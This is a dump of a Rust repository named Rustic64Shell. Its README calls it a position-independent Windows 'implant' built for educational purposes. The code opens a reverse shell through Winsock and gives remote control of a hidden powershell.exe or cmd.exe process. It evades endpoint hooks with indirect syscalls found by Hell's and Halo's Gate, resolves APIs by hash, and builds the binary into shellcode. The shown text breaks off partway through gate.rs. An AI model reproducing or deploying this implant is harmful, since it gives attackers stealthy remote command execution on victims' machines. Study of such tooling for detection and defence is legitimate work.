├── .gitignore ├── img └── demo.gif ├── Cargo.lock ├── src ├── libs │ ├── mod.rs │ ├── instance.rs │ ├── allocator.rs │ ├── utils.rs │ ├── nocrt.rs │ ├── k32.rs │ ├── gate.rs │ ├── ntpsapi.rs │ ├── ldrapi.rs │ ├── winsock.rs │ ├── ntdef.rs │ └── ntapi.rs ├── main.rs └── rev.rs ├── Cargo.toml ├── Linker.ld ├── LICENSE ├── README.md └── Makefile.toml /.gitignore: -------------------------------------------------------------------------------- 1 | /target -------------------------------------------------------------------------------- /img/demo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safedv/Rustic64Shell/HEAD/img/demo.gif -------------------------------------------------------------------------------- /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 4 4 | 5 | [[package]] 6 | name = "Rustic64Shell" 7 | version = "0.1.1" 8 | -------------------------------------------------------------------------------- /src/libs/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod allocator; 2 | pub mod gate; 3 | pub mod instance; 4 | pub mod k32; 5 | pub mod ldrapi; 6 | pub mod nocrt; 7 | pub mod ntapi; 8 | pub mod ntdef; 9 | pub mod ntpsapi; 10 | pub mod utils; 11 | pub mod winsock; 12 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "Rustic64Shell" 3 | version = "0.1.1" 4 | edition = "2024" 5 | authors = ["safedv"] 6 | 7 | [dependencies] 8 | 9 | [profile.dev] 10 | panic = "abort" 11 | 12 | [profile.release] 13 | panic = "abort" 14 | opt-level = "s" 15 | lto = true 16 | codegen-units = 1 -------------------------------------------------------------------------------- /Linker.ld: -------------------------------------------------------------------------------- 1 | ENTRY(_start); 2 | 3 | SECTIONS 4 | { 5 | . = 0x0000; 6 | 7 | .text ALIGN(16) : 8 | { 9 | *(.text.prologue) 10 | *(.text*) 11 | *(.rodata*) 12 | *(.rdata*) 13 | *(.global*) 14 | } 15 | 16 | /DISCARD/ : 17 | { 18 | *(.interp) 19 | *(.comment) 20 | *(.debug_frame) 21 | *(.bss) 22 | *(.pdata) 23 | *(.xdata) 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /src/libs/instance.rs: -------------------------------------------------------------------------------- 1 | use super::{k32::Kernel32, ntapi::NtDll, winsock::Winsock}; 2 | 3 | // A magic number to identify a valid `Instance` struct 4 | pub const INSTANCE_MAGIC: u32 = 0x17171717; 5 | 6 | #[repr(C)] 7 | // The main structure holding system API modules and the magic value 8 | pub struct Instance { 9 | pub magic: u32, // Unique value to identify a valid instance 10 | pub k32: Kernel32, // Kernel32 API functions 11 | pub ntdll: NtDll, // NtDll API functions 12 | pub winsock: Winsock, // Winsock API functions 13 | } 14 | 15 | impl Instance { 16 | pub fn new() -> Self { 17 | Instance { 18 | magic: INSTANCE_MAGIC, 19 | k32: Kernel32::new(), 20 | ntdll: NtDll::new(), 21 | winsock: Winsock::new(), 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Davide Valitutti 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /src/libs/allocator.rs: -------------------------------------------------------------------------------- 1 | use core::{ 2 | alloc::{GlobalAlloc, Layout}, 3 | ffi::c_void, 4 | ptr::null_mut, 5 | }; 6 | 7 | use crate::{get_instance, run_syscall}; 8 | 9 | pub struct NtVirtualAlloc; 10 | 11 | unsafe impl GlobalAlloc for NtVirtualAlloc { 12 | /// Allocates memory as described by the given `layout` using NT system calls. 13 | /// 14 | /// This function uses the `NtAllocateVirtualMemory` system call to allocate memory. 15 | /// The memory is allocated with `PAGE_READWRITE` protection, which allows both 16 | /// reading and writing. 17 | unsafe fn alloc(&self, layout: Layout) -> *mut u8 { 18 | // Pointer to the allocated memory. 19 | let mut p_address: *mut c_void = null_mut(); 20 | // Size of the memory to allocate. 21 | let region_size = layout.size(); 22 | // Handle to the current process (-1). 23 | let h_process: *mut u8 = -1isize as _; 24 | 25 | if let Some(instance) = get_instance() { 26 | run_syscall!( 27 | instance.ntdll.nt_allocate_virtual_memory.syscall.number, 28 | instance.ntdll.nt_allocate_virtual_memory.syscall.address as usize, 29 | h_process, 30 | &mut p_address, 31 | 0, 32 | &mut (region_size as usize) as *mut usize, 33 | 0x3000, // MEM_COMMIT | MEM_RESERVE 34 | 0x04 // PAGE_READWRITE 35 | ); 36 | } 37 | 38 | p_address as *mut u8 39 | } 40 | 41 | /// Deallocates the block of memory at the given `ptr` pointer with the given `layout` using NT system calls. 42 | /// 43 | /// This function uses the `NtFreeVirtualMemory` system call to deallocate memory. 44 | unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) { 45 | // Size of the memory to deallocate. 46 | let mut region_size = layout.size(); 47 | // Handle to the current process (-1). 48 | let h_process: *mut u8 = -1isize as _; 49 | 50 | if let Some(instance) = get_instance() { 51 | run_syscall!( 52 | instance.ntdll.nt_free_virtual_memory.syscall.number, 53 | instance.ntdll.nt_free_virtual_memory.syscall.address as usize, 54 | h_process, 55 | &mut (ptr as *mut c_void), 56 | &mut region_size, 57 | 0x8000 // MEM_RELEASE 58 | ); 59 | } 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Rustic64Shell 2 | 3 | **Rustic64Shell** is a modern 64-bit position-independent implant, based on [Rustic64](https://github.com/safedv/Rustic64). While **Rustic64** was designed as a template, **Rustic64Shell** was built to take things a step further. This project introduces advanced features like indirect syscalls and reverse shell, demonstrating how the template can be expanded for more complex scenarios. 4 | 5 | This is a personal project with the goal of improving my skills in modern implant development. I see this project as an ongoing journey, and any feedback, improvements, or suggestions from the community are more than welcome. 6 | 7 | ## Key Features 8 | 9 | **Rustic64Shell** steps things up with some cool extras beyond what **Rustic64** offered: 10 | 11 | - **Reverse shell**: Open a reverse shell and execute commands remotely via `cmd.exe` or `powershell.exe`, using **Winsock** for network communication and **pipe-based I/O redirection (via NT APIs)**. 12 | 13 | - **Indirect Syscalls**: It supports indirect syscalls, letting the implant execute syscalls without calling them directly. Techniques like **Hell's Gate**, **Halo's Gate**, and **Tartarus' Gate** are employed to retrieve System Service Numbers (SSNs). 14 | 15 | ## Reverse Shell 16 | 17 | **Rustic64Shell** brings reverse shell support, using Winsock for network communication and Windows pipes for I/O redirection. The reverse shell sets up a TCP connection to a remote server and launches a process like `cmd.exe` or `powershell.exe` on the target system. The process's I/O is redirected through pipes, giving you full remote control. Here are its key features: 18 | 19 | - **Socket-based connection**: Sets up a TCP connection to a remote server using Winsock. 20 | - **Non-blocking mode**: Operates the socket in non-blocking mode for efficient, asynchronous communication. 21 | - **Pipe-based I/O redirection**: Redirects the process’s input (stdin) and output (stdout/stderr) through pipes, using NT APIs like `NtCreateNamedPipe`, `NtReadFile`, and `NtWriteFile`. 22 | - **Process creation**: Starts a hidden process (such as `cmd.exe` or `powershell.exe`) with `CreateProcessW`. 23 | 24 | ## PoC 25 | 26 | ![PoC](./img/demo.gif) 27 | 28 | ## Disclaimer 29 | 30 | This project is intended **for educational and research purposes only**. It’s here to show a modern approach to implant design using Rust and should _definitely_ not be used for any illegal or unethical activities. What’s provided here is a proof of concept, and if you decide to misuse it, that’s on you—not me! 31 | 32 | Always follow ethical guidelines and legal frameworks when doing security research (and, you know, just in general). 33 | 34 | ## Contributions 35 | 36 | Contributions are welcome! Want to add features, report bugs, or improve the docs? Feel free to open a pull request or an issue. 37 | -------------------------------------------------------------------------------- /src/libs/utils.rs: -------------------------------------------------------------------------------- 1 | use alloc::vec::Vec; 2 | 3 | /// Computes the DJB2 hash for the given buffer 4 | pub fn dbj2_hash(buffer: &[u8]) -> u32 { 5 | let mut hsh: u32 = 5381; 6 | let mut iter: usize = 0; 7 | let mut cur: u8; 8 | 9 | while iter < buffer.len() { 10 | cur = buffer[iter]; 11 | 12 | if cur == 0 { 13 | iter += 1; 14 | continue; 15 | } 16 | 17 | if cur >= ('a' as u8) { 18 | cur -= 0x20; 19 | } 20 | 21 | hsh = ((hsh << 5).wrapping_add(hsh)) + cur as u32; 22 | iter += 1; 23 | } 24 | hsh 25 | } 26 | 27 | /// Calculates the length of a C-style null-terminated string. 28 | pub fn get_cstr_len(pointer: *const char) -> usize { 29 | let mut tmp: u64 = pointer as u64; 30 | 31 | unsafe { 32 | while *(tmp as *const u8) != 0 { 33 | tmp += 1; 34 | } 35 | } 36 | 37 | (tmp - pointer as u64) as _ 38 | } 39 | 40 | pub fn string_length_w(string: *const u16) -> usize { 41 | unsafe { 42 | let mut string2 = string; 43 | while !(*string2).is_null() { 44 | string2 = string2.add(1); 45 | } 46 | string2.offset_from(string) as usize 47 | } 48 | } 49 | 50 | // Utility function for checking null terminator for u8 and u16 51 | trait IsNull { 52 | fn is_null(&self) -> bool; 53 | } 54 | 55 | impl IsNull for u16 { 56 | fn is_null(&self) -> bool { 57 | *self == 0 58 | } 59 | } 60 | 61 | /// Formats a named pipe string and stores it in a `Vec` 62 | /// 63 | /// This function generates a named pipe path in the format: 64 | /// `\\Device\\NamedPipe\\Win32Pipes..` 65 | /// and stores the UTF-16 encoded string in a `Vec`. 66 | /// 67 | /// # Parameters 68 | /// - `process_id`: The process ID to be included in the pipe name. 69 | /// - `pipe_id`: The pipe ID to be included in the pipe name. 70 | /// 71 | /// # Returns 72 | /// A `Vec` containing the UTF-16 encoded string, null-terminated. 73 | pub fn format_named_pipe_string(process_id: usize, pipe_id: u32) -> Vec { 74 | let mut pipe_name_utf16 = Vec::with_capacity(50); // Pre-allocate space 75 | 76 | // Static part of the pipe name 77 | let device_part = "\\Device\\NamedPipe\\Win32Pipes."; 78 | pipe_name_utf16.extend(device_part.encode_utf16()); 79 | 80 | // Append process_id as a 16-character hex string 81 | for i in (0..16).rev() { 82 | let shift = i * 4; 83 | let hex_digit = ((process_id >> shift) & 0xF) as u16; 84 | pipe_name_utf16.push(to_hex_char(hex_digit)); 85 | } 86 | 87 | // Append dot separator 88 | pipe_name_utf16.push('.' as u16); 89 | 90 | // Append pipe_id as an 8-character hex string 91 | for i in (0..8).rev() { 92 | let shift = i * 4; 93 | let hex_digit = ((pipe_id >> shift) & 0xF) as u16; 94 | pipe_name_utf16.push(to_hex_char(hex_digit)); 95 | } 96 | 97 | // Null-terminate the buffer 98 | pipe_name_utf16.push(0); 99 | 100 | // Return the UTF-16 encoded vector 101 | pipe_name_utf16 102 | } 103 | 104 | /// Helper function to convert a hex digit (0-15) into its corresponding ASCII character. 105 | /// 106 | /// # Returns 107 | /// The corresponding ASCII character as a `u16`. 108 | fn to_hex_char(digit: u16) -> u16 { 109 | match digit { 110 | 0..=9 => '0' as u16 + digit, 111 | 10..=15 => 'a' as u16 + (digit - 10), 112 | _ => 0, 113 | } 114 | } 115 | -------------------------------------------------------------------------------- /Makefile.toml: -------------------------------------------------------------------------------- 1 | [config] 2 | skip_core_tasks = true 3 | 4 | [env] 5 | NIGHTLY_VERSION = "nightly-2025-02-14" 6 | OUTPUT_NAME = "Rustic64Shell.exe" 7 | OUTPUT_BIN = "Rustic64Shell.bin" 8 | 9 | TARGET_GNU = "x86_64-pc-windows-gnu" 10 | RUSTFLAGS_GNU = "-C link-arg=-nostdlib -C codegen-units=1 -C link-arg=-fno-ident -C link-arg=-fpack-struct=8 -C link-arg=-Wl,--gc-sections -C link-arg=-falign-jumps=1 -C link-arg=-w -C link-arg=-falign-labels=1 -C relocation-model=pic -C link-arg=-Wl,-T./Linker.ld,--build-id=none -C link-arg=-Wl,-s,--no-seh,--enable-stdcall-fixup -C link-arg=-Wl,--subsystem,console -C link-arg=-nostartfiles -C link-arg=-Wl,-e_start" 11 | 12 | TARGET_MSVC = "x86_64-pc-windows-msvc" 13 | RUSTFLAGS_MSVC = "-C codegen-units=1 -C strip=symbols -C opt-level=z -C link-arg=/NODEFAULTLIB -C link-arg=/ENTRY:_start -C link-arg=/SUBSYSTEM:CONSOLE -C link-arg=/OPT:REF,ICF -C link-arg=/SAFESEH:NO -C link-arg=/DEBUG:NONE -C link-arg=/FILEALIGN:512 -C link-arg=/ALIGN:16 -C link-arg=/SECTION:.bss,D -C link-arg=/SECTION:.edata,D -C link-arg=/SECTION:.idata,D -C link-arg=/SECTION:.pdata,D -C link-arg=/SECTION:.xdata,D" 14 | 15 | [tasks.default] 16 | description = "Default task that builds the project." 17 | dependencies = ["build"] 18 | 19 | [tasks.build] 20 | description = "Clean, Builds, strips, and objcopy." 21 | dependencies = ["clean", "cargo-build", "strip", "objcopy"] 22 | 23 | 24 | [tasks.clean] 25 | description = "Cleans the project and removes the binary file." 26 | script = [ 27 | "cargo clean", 28 | "rm -f ${OUTPUT_BIN}" 29 | ] 30 | 31 | [tasks.cargo-build] 32 | description = "Builds the project for GNU target using custom Rust flags." 33 | command = "rustup" 34 | args = ["run", "${NIGHTLY_VERSION}-x86_64-pc-windows-gnu", "cargo", "rustc", "--target", "${TARGET_GNU}", "--release"] 35 | env = { "RUSTFLAGS" = "${RUSTFLAGS_GNU}" } 36 | 37 | [tasks.strip] 38 | description = "Strips unnecessary sections from the binary." 39 | command = "strip" 40 | args = ["-s", "--strip-unneeded", "-x", "-X", "target/x86_64-pc-windows-gnu/release/${OUTPUT_NAME}"] 41 | 42 | [tasks.objcopy] 43 | description = "Converts the binary to a .bin file using objcopy." 44 | command = "objcopy" 45 | args = ["-O", "binary", "target/x86_64-pc-windows-gnu/release/${OUTPUT_NAME}", "${OUTPUT_BIN}"] 46 | 47 | [tasks.objdump] 48 | description = "Dumps the binary using objdump." 49 | dependencies = ["objcopy"] 50 | command = "objdump" 51 | args = ["-D", "-b", "binary", "-mi386", "-Mx86-64", "-Mintel", "-z", "${OUTPUT_BIN}"] 52 | 53 | [tasks.dump] 54 | description = "Final dump task to signal completion." 55 | dependencies = ["objdump"] 56 | script = [ 57 | "echo 'Dump completed for ${OUTPUT_BIN}'" 58 | ] 59 | 60 | [tasks.msvc] 61 | description = "Performs a clean build for MSVC target, strips the binary, and converts it to a .bin file." 62 | dependencies = ["clean", "cargo-build-msvc", "strip-msvc", "objcopy-msvc"] 63 | 64 | [tasks.cargo-build-msvc] 65 | description = "Builds the project for MSVC target using custom Rust flags." 66 | command = "rustup" 67 | args = ["run", "${NIGHTLY_VERSION}-x86_64-pc-windows-msvc", "cargo", "rustc", "--target", "${TARGET_MSVC}", "--release"] 68 | env = { "RUSTFLAGS" = "${RUSTFLAGS_MSVC}" } 69 | 70 | [tasks.strip-msvc] 71 | description = "Strips unneeded sections from the MSVC binary to reduce size." 72 | command = "strip" 73 | args = ["-s", "--strip-unneeded", "-x", "-X", "target/${TARGET_MSVC}/release/${OUTPUT_NAME}"] 74 | 75 | [tasks.objcopy-msvc] 76 | description = "Converts the stripped MSVC binary to a .bin file using objcopy." 77 | command = "objcopy" 78 | args = ["-O", "binary", "target/${TARGET_MSVC}/release/${OUTPUT_NAME}", "${OUTPUT_BIN}"] -------------------------------------------------------------------------------- /src/libs/nocrt.rs: -------------------------------------------------------------------------------- 1 | /// Sets the first `n` bytes of the block of memory pointed to by `s` 2 | /// to the specified value `c` (interpreted as an unsigned char). 3 | /// 4 | /// # Parameters 5 | /// - `s`: A pointer to the block of memory to fill. 6 | /// - `c`: The value to be set. Only the lower 8 bits of `c` are used. 7 | /// - `n`: The number of bytes to be set to the value. 8 | /// 9 | /// # Returns 10 | /// A pointer to the memory area `s`. 11 | #[unsafe(no_mangle)] 12 | pub extern "C" fn memset(s: *mut u8, c: i32, n: usize) -> *mut u8 { 13 | for i in 0..n { 14 | unsafe { *s.add(i) = c as u8 }; 15 | } 16 | s 17 | } 18 | 19 | /// Copies `n` bytes from memory area `src` to memory area `dest`. 20 | /// The memory areas must not overlap. 21 | /// 22 | /// # Parameters 23 | /// - `dest`: A pointer to the destination array where the content is to be copied. 24 | /// - `src`: A pointer to the source of data to be copied. 25 | /// - `n`: The number of bytes to copy. 26 | /// 27 | /// # Returns 28 | /// A pointer to the destination `dest`. 29 | #[unsafe(no_mangle)] 30 | pub extern "C" fn memcpy(dest: *mut u8, src: *const u8, n: usize) -> *mut u8 { 31 | for i in 0..n { 32 | unsafe { 33 | *dest.add(i) = *src.add(i); 34 | } 35 | } 36 | dest 37 | } 38 | 39 | /// Copies `n` bytes from memory area `src` to memory area `dest`. 40 | /// The memory areas may overlap. 41 | /// 42 | /// # Parameters 43 | /// - `dest`: A pointer to the destination array where the content is to be copied. 44 | /// - `src`: A pointer to the source of data to be copied. 45 | /// - `n`: The number of bytes to copy. 46 | /// 47 | /// # Returns 48 | /// A pointer to the destination `dest`. 49 | #[unsafe(no_mangle)] 50 | pub extern "C" fn memmove(dest: *mut u8, src: *const u8, n: usize) -> *mut u8 { 51 | if src < dest as *const u8 { 52 | for i in (0..n).rev() { 53 | unsafe { 54 | *dest.add(i) = *src.add(i); 55 | } 56 | } 57 | } else { 58 | for i in 0..n { 59 | unsafe { 60 | *dest.add(i) = *src.add(i); 61 | } 62 | } 63 | } 64 | dest 65 | } 66 | 67 | /// Compares the first `n` bytes of the memory areas `s1` and `s2`. 68 | /// 69 | /// # Parameters 70 | /// - `s1`: A pointer to the first memory area. 71 | /// - `s2`: A pointer to the second memory area. 72 | /// - `n`: The number of bytes to compare. 73 | /// 74 | /// # Returns 75 | /// An integer less than, equal to, or greater than zero if the first `n` bytes of `s1` 76 | /// is found, respectively, to be less than, to match, or be greater than the first `n` bytes of `s2`. 77 | #[unsafe(no_mangle)] 78 | pub extern "C" fn memcmp(s1: *const u8, s2: *const u8, n: usize) -> i32 { 79 | for i in 0..n { 80 | let a = unsafe { *s1.add(i) }; 81 | let b = unsafe { *s2.add(i) }; 82 | if a != b { 83 | return a as i32 - b as i32; 84 | } 85 | } 86 | 0 87 | } 88 | 89 | /// Computes the length of the string `s`, excluding the terminating null byte. 90 | /// 91 | /// # Parameters 92 | /// - `s`: A pointer to the null-terminated byte string to be examined. 93 | /// 94 | /// # Returns 95 | /// The number of bytes in the string pointed to by `s`, excluding the terminating null byte. 96 | #[unsafe(no_mangle)] 97 | pub extern "C" fn strlen(s: *const u8) -> usize { 98 | let mut count = 0; 99 | unsafe { 100 | while *s.add(count) != 0 { 101 | count += 1; 102 | } 103 | } 104 | count 105 | } 106 | 107 | /// A placeholder function for stack checking in some environments. 108 | /// This function currently does nothing. 109 | #[unsafe(no_mangle)] 110 | pub extern "C" fn __chkstk() {} 111 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | #![no_std] 2 | #![no_main] 3 | 4 | extern crate alloc; 5 | 6 | use core::arch::global_asm; 7 | use core::ffi::c_void; 8 | use libs::k32::init_kernel32_funcs; 9 | use libs::ntapi::init_ntdll_funcs; 10 | use libs::winsock::init_winsock_funcs; 11 | use rev::reverse_shell; 12 | 13 | mod libs; 14 | mod rev; 15 | 16 | use libs::instance::Instance; 17 | use libs::instance::INSTANCE_MAGIC; 18 | use libs::ntdef::find_peb; 19 | 20 | // Set a custom global allocator 21 | use crate::libs::allocator::NtVirtualAlloc; 22 | 23 | #[global_allocator] 24 | static GLOBAL: NtVirtualAlloc = NtVirtualAlloc; 25 | 26 | #[unsafe(no_mangle)] 27 | pub extern "C" fn initialize() { 28 | unsafe { 29 | // Stack allocation of Instance 30 | let mut instance = Instance::new(); 31 | 32 | // Append instance address to PEB.ProcessHeaps 33 | let instance_ptr: *mut c_void = &mut instance as *mut _ as *mut c_void; 34 | 35 | let peb = find_peb(); 36 | let process_heaps = (*peb).process_heaps as *mut *mut c_void; 37 | let number_of_heaps = (*peb).number_of_heaps as usize; 38 | 39 | // Increase the NumberOfHeaps 40 | (*peb).number_of_heaps += 1; 41 | 42 | // Append the instance_ptr 43 | *process_heaps.add(number_of_heaps) = instance_ptr; 44 | 45 | // Proceed to main function 46 | main(); 47 | } 48 | } 49 | 50 | /// Initializes system modules and functions, and then starts a reverse shell. 51 | unsafe fn main() { 52 | let lhost = "localhost"; 53 | let lport = 1717; 54 | let process = "powershell.exe"; 55 | 56 | init_ntdll_funcs(); 57 | init_kernel32_funcs(); 58 | init_winsock_funcs(); 59 | reverse_shell(&lhost, lport, &process); 60 | } 61 | 62 | global_asm!( 63 | r#" 64 | .globl _start 65 | .globl isyscall 66 | 67 | .section .text 68 | 69 | _start: 70 | push rsi 71 | mov rsi, rsp 72 | and rsp, 0xFFFFFFFFFFFFFFF0 73 | sub rsp, 0x20 74 | call initialize 75 | mov rsp, rsi 76 | pop rsi 77 | ret 78 | 79 | isyscall: 80 | mov [rsp - 0x8], rsi 81 | mov [rsp - 0x10], rdi 82 | mov [rsp - 0x18], r12 83 | 84 | xor r10, r10 85 | mov rax, rcx 86 | mov r10, rax 87 | 88 | mov eax, ecx 89 | 90 | mov r12, rdx 91 | mov rcx, r8 92 | 93 | mov r10, r9 94 | mov rdx, [rsp + 0x28] 95 | mov r8, [rsp + 0x30] 96 | mov r9, [rsp + 0x38] 97 | 98 | sub rcx, 0x4 99 | jle skip 100 | 101 | lea rsi, [rsp + 0x40] 102 | lea rdi, [rsp + 0x28] 103 | 104 | rep movsq 105 | skip: 106 | mov rcx, r12 107 | 108 | mov rsi, [rsp - 0x8] 109 | mov rdi, [rsp - 0x10] 110 | mov r12, [rsp - 0x18] 111 | 112 | jmp rcx 113 | "# 114 | ); 115 | 116 | unsafe extern "C" { 117 | fn _start(); 118 | } 119 | 120 | /// Attempts to locate the global `Instance` by scanning process heaps and 121 | /// returns a mutable reference to it if found. 122 | fn get_instance() -> Option<&'static mut Instance> { 123 | let peb = find_peb(); // Locate the PEB (Process Environment Block) 124 | let process_heaps = unsafe { (*peb).process_heaps }; 125 | let number_of_heaps = unsafe { (*peb).number_of_heaps as usize }; 126 | 127 | for i in 0..number_of_heaps { 128 | let heap = unsafe { *process_heaps.add(i) }; 129 | if !heap.is_null() { 130 | let instance = unsafe { &mut *(heap as *mut Instance) }; 131 | if instance.magic == INSTANCE_MAGIC { 132 | return Some(instance); // Return the instance if the magic value matches 133 | } 134 | } 135 | } 136 | None 137 | } 138 | 139 | #[cfg(not(test))] 140 | use core::panic::PanicInfo; 141 | 142 | #[cfg(not(test))] 143 | #[panic_handler] 144 | fn panic(_info: &PanicInfo) -> ! { 145 | loop {} 146 | } 147 | -------------------------------------------------------------------------------- /src/libs/k32.rs: -------------------------------------------------------------------------------- 1 | use core::{ 2 | ffi::{c_ulong, c_void}, 3 | ptr::{self, null_mut}, 4 | }; 5 | 6 | use crate::{get_instance, libs::ldrapi::ldr_function}; 7 | 8 | #[repr(C)] 9 | pub struct SecurityAttributes { 10 | pub n_length: u32, 11 | pub lp_security_descriptor: *mut c_void, 12 | pub b_inherit_handle: bool, 13 | } 14 | 15 | #[allow(non_camel_case_types)] 16 | pub type LPSECURITY_ATTRIBUTES = *mut SecurityAttributes; 17 | 18 | pub type LPCWSTR = *const u16; 19 | pub type LPWSTR = *mut u16; 20 | 21 | #[repr(C)] 22 | pub struct StartupInfoW { 23 | pub cb: u32, 24 | pub lp_reserved: *mut u16, 25 | pub lp_desktop: *mut u16, 26 | pub lp_title: *mut u16, 27 | pub dw_x: u32, 28 | pub dw_y: u32, 29 | pub dw_x_size: u32, 30 | pub dw_y_size: u32, 31 | pub dw_x_count_chars: u32, 32 | pub dw_y_count_chars: u32, 33 | pub dw_fill_attribute: u32, 34 | pub dw_flags: u32, 35 | pub w_show_window: u16, 36 | pub cb_reserved2: u16, 37 | pub lp_reserved2: *mut u8, 38 | pub h_std_input: *mut c_void, 39 | pub h_std_output: *mut c_void, 40 | pub h_std_error: *mut c_void, 41 | } 42 | 43 | impl StartupInfoW { 44 | pub fn new() -> Self { 45 | StartupInfoW { 46 | cb: core::mem::size_of::() as u32, 47 | lp_reserved: ptr::null_mut(), 48 | lp_desktop: ptr::null_mut(), 49 | lp_title: ptr::null_mut(), 50 | dw_x: 0, 51 | dw_y: 0, 52 | dw_x_size: 0, 53 | dw_y_size: 0, 54 | dw_x_count_chars: 0, 55 | dw_y_count_chars: 0, 56 | dw_fill_attribute: 0, 57 | dw_flags: 0, 58 | w_show_window: 0, 59 | cb_reserved2: 0, 60 | lp_reserved2: ptr::null_mut(), 61 | h_std_input: ptr::null_mut(), 62 | h_std_output: ptr::null_mut(), 63 | h_std_error: ptr::null_mut(), 64 | } 65 | } 66 | } 67 | 68 | #[repr(C)] 69 | pub struct ProcessInformation { 70 | pub h_process: *mut c_void, 71 | pub h_thread: *mut c_void, 72 | pub dw_process_id: u32, 73 | pub dw_thread_id: u32, 74 | } 75 | 76 | impl ProcessInformation { 77 | pub fn new() -> Self { 78 | ProcessInformation { 79 | h_process: ptr::null_mut(), 80 | h_thread: ptr::null_mut(), 81 | dw_process_id: 0, 82 | dw_thread_id: 0, 83 | } 84 | } 85 | } 86 | 87 | pub type PeekNamedPipe = unsafe extern "system" fn( 88 | hNamedPipe: *mut c_void, 89 | lpBuffer: *mut c_void, 90 | nBufferSize: u32, 91 | lpBytesRead: *mut u32, 92 | lpTotalBytesAvail: *mut u32, 93 | lpBytesLeftThisMessage: *mut u32, 94 | ) -> i32; 95 | 96 | pub type CreateProcessW = unsafe extern "system" fn( 97 | lpApplicationName: LPCWSTR, 98 | lpCommandLine: LPWSTR, 99 | lpProcessAttributes: LPSECURITY_ATTRIBUTES, 100 | lpThreadAttributes: LPSECURITY_ATTRIBUTES, 101 | bInheritHandles: bool, 102 | dwCreationFlags: c_ulong, 103 | lpEnvironment: *mut c_void, 104 | lpCurrentDirectory: LPCWSTR, 105 | lpStartupInfo: *mut StartupInfoW, 106 | lpProcessInformation: *mut ProcessInformation, 107 | ) -> bool; 108 | 109 | pub struct Kernel32 { 110 | pub module_base: *mut u8, 111 | pub peek_named_pipe: PeekNamedPipe, 112 | pub create_process_w: CreateProcessW, 113 | } 114 | 115 | impl Kernel32 { 116 | pub fn new() -> Self { 117 | Kernel32 { 118 | module_base: null_mut(), 119 | peek_named_pipe: unsafe { core::mem::transmute(null_mut::()) }, 120 | create_process_w: unsafe { core::mem::transmute(null_mut::()) }, 121 | } 122 | } 123 | } 124 | 125 | unsafe impl Sync for Kernel32 {} 126 | unsafe impl Send for Kernel32 {} 127 | 128 | pub fn init_kernel32_funcs() { 129 | unsafe { 130 | const PEEKNAMEDPIPE_H: usize = 0xd5312e5d; 131 | const CREATE_PROCESS_W_H: usize = 0xfbaf90cf; 132 | 133 | let instance = get_instance().unwrap(); 134 | 135 | //CreateProcessW 136 | let create_process_w_addr = ldr_function(instance.k32.module_base, CREATE_PROCESS_W_H); 137 | instance.k32.create_process_w = core::mem::transmute(create_process_w_addr); 138 | 139 | //PeekNamedPipe 140 | let k_peek_named_pipe_addr = ldr_function(instance.k32.module_base, PEEKNAMEDPIPE_H); 141 | instance.k32.peek_named_pipe = core::mem::transmute(k_peek_named_pipe_addr); 142 | } 143 | } 144 | -------------------------------------------------------------------------------- /src/libs/gate.rs: -------------------------------------------------------------------------------- 1 | unsafe extern "C" { 2 | // Declaration of an external syscall function with a variadic argument list 3 | pub fn isyscall(ssn: u16, addr: usize, n_args: u32, ...) -> i32; 4 | } 5 | 6 | #[cfg(target_arch = "x86_64")] 7 | #[macro_export] 8 | macro_rules! run_syscall { 9 | ($ssn:expr, $addr:expr, $($y:expr), +) => { 10 | { 11 | let mut cnt: u32 = 0; 12 | 13 | // Count the number of arguments passed 14 | $( 15 | let _ = $y; 16 | cnt += 1; 17 | )+ 18 | 19 | // Perform the syscall with the given number, address (offset by 0x12), 20 | // argument count, and the arguments 21 | unsafe { $crate::libs::gate::isyscall($ssn, $addr + 0x12, cnt, $($y), +) } 22 | } 23 | } 24 | } 25 | 26 | const UP: isize = -32; // Constant for upward memory search 27 | const DOWN: usize = 32; // Constant for downward memory search 28 | 29 | pub fn get_ssn(address: *mut u8) -> u16 { 30 | if address.is_null() { 31 | return 0; 32 | } 33 | 34 | // Hell's Gate: Check if the bytes match a typical syscall instruction sequence 35 | // mov r10, rcx; mov rcx, 36 | if unsafe { address.read() } == 0x4c 37 | && unsafe { address.add(1).read() } == 0x8b 38 | && unsafe { address.add(2).read() } == 0xd1 39 | && unsafe { address.add(3).read() } == 0xb8 40 | && unsafe { address.add(6).read() } == 0x00 41 | && unsafe { address.add(7).read() } == 0x00 42 | { 43 | let high = unsafe { address.add(5).read() } as u16; 44 | let low = unsafe { address.add(4).read() } as u16; 45 | return ((high << 8) | low) as u16; 46 | } 47 | 48 | // Halo's Gate: Check if the syscall is hooked and attempt to locate a clean syscall 49 | if unsafe { address.read() } == 0xe9 { 50 | for idx in 1..500 { 51 | // Check downwards for a clean syscall instruction 52 | if unsafe { 